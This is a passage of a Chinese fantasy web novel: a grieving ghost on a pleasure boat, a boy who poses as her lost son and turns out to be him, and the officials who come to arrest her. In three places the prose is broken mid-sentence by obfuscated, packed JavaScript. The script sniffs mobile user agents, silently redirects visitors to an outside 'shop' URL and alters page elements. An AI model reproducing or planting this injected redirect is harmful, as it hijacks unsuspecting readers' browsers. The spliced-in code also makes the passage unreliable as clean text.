不过这些都比不上她的失望,仿佛有块沉甸甸的石头,一直堵在她的心口,现在突然被抬走,心中的窟窿反而无处填补。 小东居然不是那个六趾之人,那会是谁?时间所剩无几,她根本不可能在短短七天之内找到锦娘的孩子。锦娘或许早就知道,所以才会无所顾忌地答应她,还把晏离留了下来。 白瑶一屁股坐在椅子上,抿了抿嘴,眼眶不禁红了:“对不起。” 小东一怔,竟是站在门边又不敢动了。 白瑶带着浓浓的鼻音道:“我不是故意怀疑你的,你真的太可疑了。我也不是故意要看你的脚,我以为......以为......” 小东嚅了嚅嘴唇:“以为我天生六趾?” 白瑶点点头:“是啊,对不起,你肯定被我吓坏了。” 小东一听,眼眸一颤,倒像是愈加慌乱起来:“不......没有。” 白瑶带着哭腔说:“你都被吓的结巴了。” 小东深吸一口气,飞快眨了眨眼睛:“不......我没有。” 白瑶趴在桌上,将头埋进了双臂之间,闷声道:“我该怎么办?万一那个天生六趾的孩子根本不存在怎么办?” 小东木讷地低下头,攥着拳头杵在门边。呼呼风声从门缝中挤进来,像是断断续续的低泣。 屋内沉默片刻,小东深吸了一口气,像是做了一个很艰巨的决定,红着脸说:“如果实在找不到,让我扮作那个孩子吧。你不是说,那个孩子和他的母亲很多年没有见过吗?兴许他的母亲也认不得他了。” 白瑶闻言从双臂之中抬起头,怔怔地看着小东,他的年纪尚且合适,但这做法未免太冒险了。 她噗嗤一声笑出来,眼角有些湿润:“你在开什么玩笑?人家孩子是六趾,你是五趾,一脱鞋不就暴露了?” 小东思忖了一下,执拗道:“虽然天生六趾,但若是有仙人帮忙化去一趾,便是五趾。反正你找不到更合适的孩子,不如让我试试。” 白瑶心中一动,有几分被他的话打动了:“可是如果被锦娘发现,你会有危险。” 小东挠了挠头:“只要能保我全身而退就行,我还要回去照顾爷爷。” “你为什么帮我?”白瑶问。 小东挠了挠头发,害羞地笑了一下:“你们帮宗家找回了宗淇,应该不是坏人。这次也是为了救人,我能帮上忙也不错啊。” 河伯听说小东愿意舍身取义,大为感动,握着小东的手连连说道:“青丘需要你这样的年轻人,好好干,有前途。”在白瑶的冷哼声中,他战战兢兢地收回手,咳咳两声:“总算有个交代了,七日说长不长说短不短,晏离公子你可得挺住啊。” 七日一晃而过,约定的日子到了。 河上浓雾弥漫,那座画舫如同幽灵一般再次停泊在岸边。 锦娘站在船边目光幽深地向下张望,匆匆扫过白瑶和河伯,在小东身上停了下来。几人相距较远,看不清她的神情,却见她扶着栏杆急促地向他们挪了几步,将脖子伸得很长。 “师父在哪里?我要见他!”白瑶喊道。 一只毛绒绒的团子从船上探出来,目光冷淡地向船下瞥了一眼。 白瑶舒了一口气,目光与锦娘对上,心中有几分忐忑,但眉眼仍旧一副泰然的模样:“我将你的孩子带来了。” 不消片刻,画舫的阶梯放了下来。 他们攀上了画舫的阶梯,画舫里的一众女子凑在窗边向外看,各种目光在几人身上流转。 锦娘站在夹板上,目不转睛地盯着他们身后的小东,眼里浮现出小心翼翼的欣喜。小东有些扭捏地站在了白瑶和河伯身后,悄悄打量着锦娘,目光带着一丝好奇和不安。 锦娘绕过白瑶和河伯,欲走到小东跟前,却不由地停住了脚步。眼中泪花先一步涌了上来,那神色包含着几百年的深切思念,绵长又厚重,让人喘不过气。 白瑶和河伯屏息凝神,绷着脸不敢有半分松懈,只希望锦娘没有看出异样。 她隔着朦胧泪眼垂眸瞥了一眼他的双脚,忽然神色停滞了一下。 “你的脚......” 白瑶解释道:“他原本是天生六趾,是一位仙人帮他化去了一趾,现在只有五趾。”又补充了一句:“你该不会只认六趾吧?” 锦娘不屑道:“笑话!我自己生的孩子,难道还需要靠脚趾认人?” 白瑶在心中默默说道:但你甚至认不出来啊。 锦娘抬起头满怀关切地望向小东,伸手想要握住他,但又停在半空中收了回来,她抿了抿唇,眼巴巴地看着他,欲言又止:“你......” 小东腼腆地笑了一下,笑容很是诚恳。 锦娘眼中顿时漫上一层水雾,轻声道:“你饿不饿?想不想吃点东西?”和先前对待白瑶和晏离的态度全然不一样。 小东摇了摇头,仔细地看了锦娘几眼,有些犹豫道:“他们说,您曾经是我的母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137802|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但我不记得那些事了。” 锦娘嘴角露出酸涩的笑容,哽咽道:“没关系。那些都不重要,回来就好...... “只要能再见你一面,看到你长这么大了,我这些年也就值了。” 没想到小东的戏还真像那么回事,白瑶在心中幽幽松了一口气,走到晏离身边,伸手想将他抱起来。但那只狐狸一甩尾巴,竟然从她手中溜了出去。 白瑶眨眨眼睛:怎么?不给抱了? 河伯在一旁痴痴笑道:“哎呀,这该不会是晏离公子吧?怎么变回原形了?” 白瑶白了他一眼:“如果你想宫里从轻发落,现在最好给我闭嘴。” 河伯顿时收声,一脸严肃且悲切地望着那团白花花的身影。 窗边挤着的女子叽叽喳喳道:“那是锦娘的孩子?” “长的真俊啊。” “你口水收一收,人家才多大啊。” “嫩的才好呢,老的都不知从哪儿下口。” “你疯了,居然敢打锦娘孩子的主意......” 锦娘招呼几人带上了三楼,三楼的画屏已收起,布置了一桌好菜,色泽鲜亮,品种多样。 河伯刚一动筷子,手便被狠狠抽打了一下,他收回手委屈地看着锦娘,锦娘对他冷冷地说:“不是给你的。”转头换做一副春风和煦的笑容,往小东碗里添菜:“不知道你现在喜欢吃什么,我就多做了几样菜,你都尝一尝,喜欢什么不喜欢什么都跟我说说。” 小东望着满满一碗饭菜呆了一下,迟迟没有动手,目光闪烁道:“我这一世没有母亲,从来没有吃过娘做的菜。” 锦娘听了泪眼涔涔,又赶紧拿了一个小碗多盛了一碗:“想吃多少都有,慢点吃。让娘好好看看你,你这些年都发生了什么事?” 白瑶闻言抬眼看了一眼小东,用眼神暗示他不要说漏嘴了。 小东匆匆扒了几口饭菜,不经意地避开了白瑶的视线,对锦娘悠悠道来:“我天生六趾,一出生就被父母遗弃在河边,一个住在山里的老伯将我捡回了家,抚养我长大。虽然生活简单,但是老伯对我不错,我小时候在山里也算是无忧无虑。 “后来我长大了一点,有时会背着老伯跑下山玩,和镇上的孩子一起在河边玩水,有一次不小心打湿了鞋子,我脱下来晾晒,被他们发现了我脚趾的秘密。” 锦娘蹙起眉,眼中是无尽的担忧和疼惜。 “其实我一直不知道自己和常人有异,老伯总说我长大了便会和别人一样,但是他们渐渐不敢靠近我,不和我玩儿了,还说我是被人丢弃的野孩子。我去问老伯我究竟是怎么来的,老伯对我说了实情。” 小东说到这时,突然顿了一下,锦娘紧紧握着了他的手,神情很是紧张。 “我当时太小了,完全无法接受,我觉得我的脚恶心极了,如果没有那只多出来的脚趾就好了,有一天夜里我拿着斧头跑到了河边,我想只要把它砍掉,就能和别人一样了。 “正当我要下手时,河上突然来了一位仙人。他问我为什么要做伤害自己的事,我就把我遭遇的事情对他说了,他说他可以帮我,然后就一拂手的功夫,我的双脚就变成了五趾...... “后来我一直像一个正常人一样生活,若不是白姑娘和何先生突然要找天生六趾之人,我都快忘了之前的事情。” 锦娘望着小东,在他绘声绘色的叙述中落下泪来,有些手足无措地抬手想摸摸他,但又有些生分,手落在裙边搓揉,哽咽道:“好孩子,你没事就好,这些年苦了你了。” 白瑶沉下心来,眼中的警觉稍稍褪去,心想小东还挺上道,居然将天生六趾的事情也编了进去,听上去真实性大大增加。若不是知道他在演戏,她也要被糊弄过去了。 139. 第 139 章 锦娘用攥成一团的手绢擦了擦眼角的泪珠,泪眼朦胧地望着小东,咽下喉头的哽咽:“都是娘不好,要是能将你生的像常人一样你就不会吃这么多苦了。” 小东沉静地望着锦娘,不知是否是受她感染,眼眶也蓦地红了,神情怆然,恰如其分地挤出了一滴眼泪,握上了锦娘的手道:“不,不是您的错。我后来变成了五趾,过上了正常人的生活,但我还是我,除了外形和先前没有丝毫的差别。难道就因为我天生和别人长的不一样,就要受人冷待和欺辱吗?那不是我的错,也不是任何人的错,是我当时想不明白罢了。” 锦娘的目光划过赞叹之色,点了点头:“好孩子,你能这么想是最好了,你和别人没有什么不同,不要再往心里去了。” 小东受到了锦娘的赞许,低沉的情绪略有缓和,坚定道:“是啊。就算天生六趾又怎样,也没有什么大不了。我应该接受自己,好好活着,或许人根本没有什么正常不正常之分,大家只是还不习惯。就算他们不接受我,也没那么坏。老伯在山中生活了一辈子,不也好好的。总会有能够接受我的地方。如果我不去计较别人的看法和眼光,他们就无法伤害我。” 众人被小东一席发自肺腑的话震撼得说不出话,他年纪不大,但是话语却像一个历经坎坷的老者,一字一句如同擂鼓,一下又一下地敲击在众人的心头。 “你......不怪我吗?”锦娘问。 小东摇摇头:“我不怪您。我想,我先前应该也从未怪过您。” 小东在朦胧的光线下,眼神坚定又执着,竟然让白瑶恍惚间觉出了些情真意切。假作真时真亦假,无为有处有还无。这个时候,小东是不是锦娘的孩子好像不那么重要了,因为他化解了锦娘百年来的执念。 楼下传来欢快的乐曲、踏踏踏踏的舞步和欢快的笑声。 小东趴在栏杆上往下望,被一楼歌舞升平的场面吸引。 船舱两侧坐着几名女子,在欢快地敲击着象脚鼓和一种细长的弹拨乐器,乐器上勾勒着鲜艳亮眼的图腾,发出的声音曼妙激昂,节奏感很强。 女子们穿着绣花镶边的长裙,绕着船舱的中间旋转,轻快的舞步在地板上附和着乐器的节奏发出清脆的踢踏声。撑开的裙摆像一朵朵接连绽开的花,五彩斑斓地飞旋着,目及之处尽是繁花,直叫人眼光缭乱。 她们有的手中拿着手铃鼓,铃铛在舞步之间响起一连串清新悦耳的声音,与姑娘们的笑声混为一体。随着手掌拍打在鼓面上,浑厚的低音又如低声沉吟,为乐曲装点上意味悠长的余韵。 锦娘守在小东的身边,满含柔情地望着他,怎么也挪不开目光。 “她们是你的朋友吗?”小东侧头问。 “是啊,我在河上漂游这些年,是她们陪在我身边。” 小东静静地看了一会儿,问:“我可以下去看看吗?” “当然。” 小东的高个子走进歌舞的女子中,引起了一阵哗然,连音乐也停了下来。他有些害羞地回头看了一眼锦娘,锦娘倚在栏杆旁,淡笑着冲他招了招手。 一名女子牵起小东的手,将他拉进了人群中间,带着他欢快地跳了起来。霎时间,周遭声势浩大的舞乐又重新奏起。女子们扭动着腰肢和裙摆,脸上洋溢着欢乐的笑容,不顾外界纷扰、今是何世。 小东稍显笨拙地摆动着肢体,有女子看他满头大汗的样子轻笑出声,他立刻红了脸。几名女子挤到他身边,对着他暗送秋波,小东手足无措地退到了一边,拘谨地抬头看了一眼锦娘。 锦娘从楼上下来,坐在了击鼓的乐师身侧,对那些女子的行径虽然有几分不赞同,但是也没有拂了姑娘们的性子。只要不出大乱子,她便不会阻止。 热闹了大半夜,姑娘们也有些疲了。舞乐渐渐低沉,船舱内光线昏昏。 白瑶抱着双臂倚靠在楼梯旁,见小东避开人流走了过来,问:“怎么了?”他的神情有些惴惴不安,眼底似乎过于凝重了。 小东躲在木质楼梯下,小声喃喃道:“我以为她要找六趾的孩子只是个幌子,看样子,她说的是真的。” 白瑶以为他是入戏太深,拍了拍他的肩,鼓励道:“真的假的又怎样,她以为找到了自己的孩子,你也没有损失,还白白上船享了一回口福、眼福。这是两全其美的办法。” 小东沉默不语,又远远地望向跪坐在地上、不知看到了什么,迎着舞乐拍手大笑的锦娘身上。 她饱经风霜,眼角已染上了岁月的痕迹,斑白的鬓发在昏昏沉沉的光线下泛着浅浅的光辉。和一船年轻亮丽的姑娘相比,她已谈不上多么漂亮,却叫他看出了温和慈祥,如同沉淀了多年的酒一般别有韵味,是其他人无法比拟的。 白瑶突然感受到一束冷沉的目光,她低下头,见化作狐狸的晏离不知何时出现在了楼梯拐角,那眼神她可太熟悉了,每当晏离不认同她的做法时,便会拿这副样子看她。 他约莫是听明白了小东的话,知道他们是合伙骗了锦娘。白瑶挺直了后背,避开他的视线:“我们也是出于无奈,谁叫你留在了船上......” 漆黑的河道上,画舫如一颗明星,悄然划过沉静的黑夜。水波幽幽,倒映着一船朦胧又旖旎的梦境。 不知过了多久,漆黑的河道突然被划开了一道口子,刺眼的白光从缝隙中挤了进来。画舫依旧沿着河道漂流,船身渐渐迎上了那道白光,只是船舱的人沉浸在玩乐中,未有察觉。 直到他们察觉时,两道人影已悄然落在了夹板上。 “什么人?” “那是谁?” 几位在窗边的女子发现了她们的踪迹。 船舱内的人纷纷挤到窗边门边眺望,只见融融灯火下,两个身手不凡的女子正手持武器,严肃冷寒地盯着他们。 一位眉眼硬挺,看上去更为成熟,用一只木簪挽起青丝,将头发梳得一丝不苟。身上穿着古板的灰色开衫长褂,肩头上扬,如同鸟雀展翅高飞的翅膀。她的手中压着一柄银色的刀柄,还未出鞘,就让人感到了一丝煞气。 相比之下,另一位打扮得清新俏丽,身上的色彩鲜亮,佩戴着繁琐的银饰,神情虽然没有肃杀的压迫感,但眼底却也是一片冷意。她手持弯弓一把,银质的弓身泛着冷月银辉,弓上却没有箭。 “青丘左右相在此!让你们舫主出来!” 那身着灰色开衫长褂的女子压着声音强硬地喝道,如同命令的语气,立马让船上的女子躁动起来。 “什么左右相?” “青丘的左右相怎么会来这里?” “我怎么知道?我又不是青丘的。” “她们该不会是来抓我的吧?” “哎呀,舫主人呢?” 船舱的门突然推开,几名门内的女子突然被挤了出来,抬眼与两位骇人的相一对视,身上一阵寒意,哆哆嗦嗦地待在门边不敢动。 这时,门内又传来:“让让,让让,借过......” 白瑶从人缝中挤出来,理了理衣服上的褶皱,眼睛忽而一亮:“施未羽!卿书!你们怎么来了?” 施未羽沉默不语,手从腰间的刀柄上放下,目光暗暗在白瑶身上打量,见白瑶无事本该松一口气,但见她太过无事,气又不打一处来。 卿书的反应就轻松多了,她手上的弓化做一阵氤氲消散,走上前盯着她的眼睛问:“瑶瑶,你怎么了?信上说你被绑架了,你有没有哪里受伤?” 白瑶这才想起来她为了避免找不到锦娘的孩子做了两手准备,给长乐宫寄了信,还声称自己被绑架了。 白瑶眼神躲闪:“卿书姐,我没事,真的没事。“ 不远处传来一声不满的冷哼:“我看她就是平日里疏于修炼,连一船鬼魂都奈何不了,还要叫人来搭救,不如早点回宫,我亲自教。” 让施未羽亲自教?她还不得闷死!白瑶一口气没上来,急得挤眉弄眼:“我平日修炼可用功了,但我这不是没见过这样的场面吗?我若是一直待在宫里,怎么有机会开拓眼界?要是我没有亲身经历、亲眼见过青丘的风土人情,未来怎么治理青丘?” “你还想治理青丘?你看看你现在的样子,青丘放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锦娘提了一口气,淡然答道:“没错,这些女子都是我收留的。他们都是天界无处可去的鬼魂,我见她们可怜便收留她们在船上。至于她们从何而来,我只管画舫的安危,她们只要不在船上闹事,其他我管不了。” 她的回答让施未羽、卿书不甚满意,卿书目光微沉:“在过去的一百年中,有多位男子在九曲河上失踪,他们去了哪里?” 锦娘垂眸,眼睫一颤,抬眸时眼中却没有丝毫的紧张:“这我怎么知道?你们莫不是在怀疑他们上了这座画舫?这条河又长又宽,就算我的画舫常年在河上行进,也说明不了什么。何况,我们与外界之间隔了一层结界,我们每每在外界停留的时间不过一炷香的功夫,哪里有时间勾引男子上船?你看这一船的女子,哪有什么男子的踪迹?” 她身后船舱内的女子皆点头称是,因为数量太多,叽叽喳喳吵闹起来。 施未羽厉喝一声:“安静!”声音之大居然将整船的女鬼震住了。 白瑶也在一旁微微点了下头,引得施未羽斜斜瞪了她一眼。白瑶对锦娘的话有七分是相信的,因为前些日子宗淇和人私奔不就打着美人舫的名头?这些年但凡有人失踪,怕是都会想到美人舫。这个锅美人舫不背谁背? 不过也不是桩桩件件都是美人舫做的。究竟有多少人上了船,又有多少人在船上失踪,是不是每一个都是寿数将尽,须得好好排查排查。 施未羽眯了眯眼:“没有男子?那他是谁?” 锦娘心中陡然一揪,寻声望去,就见小东凑在窗口,面色担忧地望着她。 锦娘下意识向一旁挪了一步,企图挡住施未羽锐利的目光,眼珠一转:“他是随白姑娘一起上船的,许是白姑娘的朋友吧。”锦娘看向白瑶,目光中隐隐流露出一丝乞求。 与此同时,施未羽也带着深究看向了白瑶,白瑶在两人迥然不同的目光中拉扯,张了张口不知该说什么。 说自己为了欺骗锦娘,在镇上找了一个少年冒充她儿子? 她居然编了这样一个荒谬的故事,让一个手无寸铁的百姓陷入危险的境地,她这个公主还当不当了? 140. 第 140 章 施未羽见白瑶不语,又去看河伯,一双如鹰眼般锐利的眼睛吓得河伯双腿一颤,脱口而出:“他是锦娘的儿子。” 霎时间,他身上又多了两道不善的目光。 白瑶脸上挂着无语,就差把猪队友三个字骂出声了。 锦娘淬了毒的目光,深刻又幽怨地望着河伯,如同暗中锁定猎物的蛇,朝他吐着性子。 “儿子?”卿书一怔:“她死了少说有一百年,怎么会有十几岁的儿子?” 河伯慌忙改口道:“其实也不是......” 施未羽目光直逼锦娘:“怎么回事?” 锦娘这时神情中才出现了一丝慌乱:“不,他什么都不知道。他六岁就夭折了,后面的事都是我一个人做的。” 施未羽与卿书对视一眼,他们在青丘办事时民间奇闻听多了,大致能猜到其中的缘由,没想到锦娘跨越了百年,居然找到了孩子的转世。 不过一码归一码,她的罪当治还是要治。 施未羽沉声道:“锦娘,你附身于幽冥舫,无故收养近百名女子鬼魂,使她们不得安息与轮回。放纵她们诱骗多名男子上船,吸食/精气,闹得九曲河两岸不得安宁。你可知罪?” 锦娘咬牙道:“并非每个人都想轮回,她们无处可去,我收留她们有什么错?那些男子都是自愿上船,我们既无强迫也无威胁,不过两厢情愿的事,何罪之有?” 船舱内传来叽叽喳喳的应和声:“是啊,我们怎么了?” “生死皆非我意愿,凭什么又让我轮回?你们觉得这世事是什么香饽饽吗?” “我们在船上可快活了,哪里也不想去。” “美人舫的传闻也不是一天两天了,那些男子哪个不是抱着侥幸心理上来的,都以为自己有些能耐。” “就是,他们没有走歪门邪道的心思,还会上船?” 施未羽的脸色又沉了几分:“你巧言善辩,但船上别的鬼魂却未必,你以为你们所作所为真的无人知道、无法追究?锦娘,无论你认不认罪,这一船的人,我们都要带回去听候发落。” 锦娘面色一白,又听卿书喃喃道:“这孩子......”卿书拧眉细细向窗边一脸懵懂的小东看去,不经意道:“看上去好像有些特别。” 施未羽闻声,也侧过头向小东看去。 锦娘脸色越发不好看,她咽了咽喉咙,眸色深沉起来:“你们想做什么?他只是一个孩子,前世早早夭折,没有活过十岁,这一世好不容易长这么大。你们要我认罪可以,不要为难他!” “娘......”船舱内传来小东的声音。 锦娘嘴唇微颤,回过头深深看了小东一眼,颤声道:“别出来。” 锦娘不卑不亢地抬起头,与施未羽对视,坦然道:“我确实钻了空子,我甘愿和你们回去认罪。小东什么也不知道,船上的女子也非有意,我请求你不要为难他们。” 锦娘为了小东不得不向长乐宫的人低头,还不忘替船上的女子求情,船舱内隐隐传来哀怨和啜泣声。 就在这时,一个尖利的声音在船舱内叫道:“锦娘,别跟他们走!我刚刚偷听到他们说话,那个孩子是假的!他们是在做戏骗你!他们从一开始就是为了抓住我们!” 一言之下,全场哗然。 船上静默了片刻,响起了女子嘈杂的争论声。 “真的吗?这可不能胡说啊!” “我听的一清二楚!绝不可能有假!” “他们怎么能用这么龌龊的手段欺骗人感情?” “还说我们呢,他们那个什么长乐宫真是用心险恶!” “我不服!凭什么生来死去都要任人拿捏?” “......” 小东在众人怒目而视中向后躲去,眼神闪烁,口中辩驳道:“不是的,我就是啊,你们听我说......” 船舱内涌起一阵喧嚣,船舱外却陷入了沉默。暗夜中,锦娘的背影僵直了,好一会儿才缓缓回头,眼神没有焦距地看向惊慌失措的小东。 小东的肢体陡然一颤,渐渐站住不动了。 那眼神十分复杂,惊愕、心疼、无奈、释然......最后像是在看陌生人一般,空洞又冷漠,让他心中泛起了酸涩,喉头一哽。 施未羽瞥向白瑶,沉声低喝道:“这是你想出来的?” 白瑶脸上也不好看,知道这件事自己做的不仁不义,回去免不了一番思想教育,说不定还要写检讨,但她也是出于救师心切不是? 何况这件事是小东自己提出来的,一个愿打一个愿挨,她才会出此下策。 半晌,锦娘幽幽叹了一口气,束起的发丝散落了几根,好像一瞬间苍老了十岁,眸光却异常地坦然和平静。她似乎在顷刻间接受了自己的命运,她执念的船在时空夹缝中漂泊了太久太久,是时候靠岸了。 “锦娘,别走!你走了我们去哪儿啊!” “呜呜呜,我不想去轮回......” 锦娘向施未羽走了一步,身后的哭骂声更甚。 在女子嘈杂的声音中,突然传来少年微弱的呢喃:“不是的......” 锦娘的步子不由一顿。 众人停下了哭声,回头向小东看去。只见少年急促地拨开冗杂的人群,飞奔到夹板上,双膝重重地跪在了地上,抬起头时才发现他已泪流满面。 “不!我说的都是真的!” 少年眼含热泪,沉甸甸的目光一眨不眨地望着锦娘,雄浑有力的声音带着一丝沙哑在水域上回荡。 “我说的句句属实。我天生六趾,自小被遗弃。六年前我知道自己被抛弃的真相,在九曲河边想要自断那多余的一趾,碰巧遇见了醉酒的河伯。是他救了我,帮我化去了一趾,虽然他不记得了,但是我说的都是真的!” 河伯瞪大了眼睛,撞见向他看来的施未羽和卿书:“这......这......没想到我这么助人为乐哈......” 白瑶眸光一动,顿时恍然大悟。 原来自她第一次进宗家开始,小东每每怪异的眼神,并非是在打量她,而是在看河伯。小东幼时曾受河伯恩惠,他认出了河伯,河伯却忘记了先前替他化去一趾的旧事。 小东哭喊道:“我本来只想报答他的恩情,才答应上船,但是我见到您之后,我感觉好奇怪,明明我第一次见您,但却仿佛能感受到在您怀中的温暖,您的声音好像曾在我耳边呢喃,您的目光似乎从未离开过我。我不知道发生了什么,但我......” 他的手放在了胸口,那里的撞击急促、猛烈、鲜活,久违的温暖仿佛融入了浑身血液。他哽咽道:“我才明白你们说的都是真的。我可能真的......我真的是您的孩子!” “我知道......”锦娘嘴唇嚅动,她一直未曾动容,此刻眼中的泪花才如同落雨一般簌簌而下。 她几乎是飞奔而去,跌倒在地一把将小东搂在怀中,安抚道:“我知道......我一直都知道,我的孩子,我从来没有错认过你。我知道你不记得了,没关系,你认不认得我都没关系。” 小东哭的浑身颤抖:“娘,我好想您,我好想您......我从小孤单一人,每每看见别的孩子有娘有家,我都好羡慕他们。现在我终于有娘了。” 锦娘将他紧紧抱着,低头啜泣:“我也想你呀,这一百年我每日每夜、每时每刻都在想你,我怎么会把你弄丢了,我的孩子......” 船舱内在静默了许久后,爆发了阵阵哭泣声。 白瑶见此,长吁一口气,悄悄走到施未羽与卿书身旁:“锦娘想找到自己的孩子,才会附身在幽冥舫上,这些年做的事都是迫于无奈。” 施未羽用眼神制止了她下面的话:“公主,我们是公事公办。锦娘有孩子,小东有母亲,难道别的人就举目无亲?这艘船快到冥界了,是时候将这件事结束了。” 白瑶瞪了她一眼:“你就这么狠的心,没有一点点感动?” 施未羽懒得理她,卿书劝道:“公主,我们身在其位是不能受感情影响的,你往后持政也要学着收敛自己的感情,不能让别人看出端倪。” 白瑶撇开头去,余光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137804|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽幽看到船舱内一抹白色,忽然心头一紧。 幽冥舫开进冥界,在施未羽、卿书与冥界使者交涉下,画舫的女子们皆进入了冥界,至于清算过后是否再次进入轮回,要看她们的造化。 女子们别无选择,只能一一作别。 “说好了永远在一起,这也没过几十年,真是......” “虽然你平时打扮得稀奇古怪,但是偷偷告诉你,你真的很好看。我怕现在不说也没机会了......” “下一世我要挑个好人家,你最好生在我隔壁,我们再做一世姐妹......” “呜呜呜真舍不得你啊......” “不要再被狗男人骗了啊,要是被欺负了,就来找我,我永远永远替你撑腰......” 一个弱弱的声音说:“我想投胎成为男子......” 众女子一同收声看向她,她顿了一下仓皇道:“我我我娶你们。” 众女子将这话当做玩笑:“哈哈哈哈......” 锦娘站在画舫上依依不舍地和她们告别,女子们凑在她跟前,拉着她的手红着眼眶说着告别的话。 彼时灯火辉煌、热闹非凡的美人舫,此时只剩下了空荡荡的阁楼。女子的欢歌依稀还在耳边,明晃晃的灯笼映在水面上,载着画舫向黑暗深处悠扬前行,在平静的水面留下漫长又旖旎的水迹。 送走了一船女子后,施未羽和卿书要将锦娘带回长乐宫正式审讯,至于会否有惩罚,还要看审讯后的结果。 锦娘的魂魄与画舫剥离,画舫突然化作一只一掌大小、结构精巧的木舟。 “这就是画舫的原形?”白瑶问。 “是。这座小舟是一个神器,本身并无大用,只是能泅水渡河罢了。不过他生了灵性,诱骗锦娘将魂魄附着在他身上,靠锦娘对孩子的执念行驶,又吸引了无数女子的魂魄上船夜夜笙歌,才会变得如此绚丽。”卿书解释道,她瞥了一眼白瑶怀中抱着的狐狸,忍不住轻笑出声。 她眸中清明,但没有点破,挪开目光幽幽道:“船上的酒水加了料,须得等几日之后才能恢复人形。” 晏离慵懒地窝在白瑶的怀中,耳尖微微一动,睁开一双狐狸媚眼,冷冷地看了她一眼。 终是到了分别的时刻,小东双目肿得像两颗核桃,脸色煞白地望着锦娘:“娘!”声音艰涩,欲言又止。 锦娘红着眼睛点点头:“好好活着,好好活着。” 施未羽与卿书带着锦娘的魂魄腾空而起,一道薄如蝉翼的轻云飘来托住了他们的身影。 施未羽在上空俯视几人,严肃说道:“河伯,你管理河道不利,本应该免去职务,不过看在并未酿成大害,暂不免职,不过要观察十年。” 河伯心里咯噔一下,本以为这次已经蒙混过关了,没想到施未羽还在这儿等着呢。 “你可有异议?”施未羽垂眸道。 河伯摇了摇头:“不敢不敢。” 施未羽又道:“小东。” 小东失魂落魄地望着锦娘,听到叫自己:“啊?” 施未羽神情严肃:“你心性纯良,却命途多舛,因河伯一念之间改写了命运,也是你应有的机缘。听说你善泅水,可愿随河伯学习治理河道?” 小东愣怔在原地,似乎没有明白她的意思。只听锦娘在上空呼喊道:“东儿,答应她,快答应啊。” 小东懵懂地点了点头。河伯满意地看着他:“不错不错,我一个人看管这么多河道根本管不过来,有个帮手我可以轻省了,哈哈哈我终于后继有人了。” 轻云越升越高,向远处悠悠飘去。 小东跪在地上呼喊道:“娘!我会好好活下去!我不会再让您担心了!” 遥远的云端,锦娘似乎冲他点了点头。 不久锦娘数罪并罚,在关押两百年后重新轮回,两百年很长,却因小东时常探望变得有了盼头。 两人再次分别时,已不再感到悲伤。小东在冥界入口与锦娘告别,他知道纵使思念绵绵不绝,只要好好活着,终有一日两人还会相见。 141. 第 141 章 美人舫一事终了,河伯在担惊受怕了几个月后终于松了一口气。他与白瑶、晏离作别,带着小东留在了九曲河。 白瑶抱着狐狸沿河向下游走去,路过九曲镇的渡口时,见有几人蹲守在河边不由停下脚步。其中一人竟是之前那差点没命的渔夫。 白瑶不以为意,经过他们身边时,几人小声嘀咕了几句,继而面露凶相。 怀中的狐狸本在假寐,此时感到气氛有些不同寻常,也微微睁开了眼。 几个突然凶神恶煞地围了上来,从身后拿出了棍棒铁锹。 白瑶抬了下眉:“什么意思?” 渔夫在几人身后指着她说:“就是她!她是美人舫上的女鬼!就是她害的我差点丢了性命!” 白瑶一怔:“你看清楚,我不是什么女鬼。是你硬要上船,贪图那些女鬼的美色,着了她们的道儿。是我将你从船上救下来的,你不记得也就罢了,怎么还颠倒黑白呢?” 拦在她面前的几人侧头向渔夫看去,渔夫面上一晒,嘴硬道:“我怎么可能被女鬼蛊惑?我管你是人是鬼,我记得你就是从船上下来的,我可不敢让你救。” 他呼喝道:“兄弟们,你们可不能被这个女人骗了,你们看她容貌打扮哪一点像普通人?这些年九曲河上下多少人因美人舫失踪,多少家庭分崩离析,母亲没了儿子、妻子没了丈夫、孩子没了爸爸......我们可不能就这么放过她啊!” 一时间群情激奋,几个壮年男子拿着武器便要扑上来,白瑶抱着狐狸有些施展不开,连退几步,站定后骂道:“早知道你是个脑子不清楚的,我就不救你了。我长得美也是错?长得美就不是好人?那些失踪的人跟我有什么关系?你们不分青红皂白就攻击我,还不如船上的女鬼。” 锄头当头落下,白瑶侧身晃过了攻击,空中悠悠飘落了几根白色的毛发。 白瑶定睛一看,怀中的狐狸一侧毛发不知何时短了一截。白瑶心中大骇,一边惊恐晏离若是秃了会要了她的命,一边又生出了一种难以抑制的愤怒。这种愤怒逐渐掩盖了恐惧,搅得她心中天翻地覆不得安生。 待几人再次围攻上来时,白瑶面色阴沉,双目圆瞪,咬牙切齿道:“都给我滚!”轰然之间,周围气流飞旋而上,她的长发在空中胡乱飞舞。 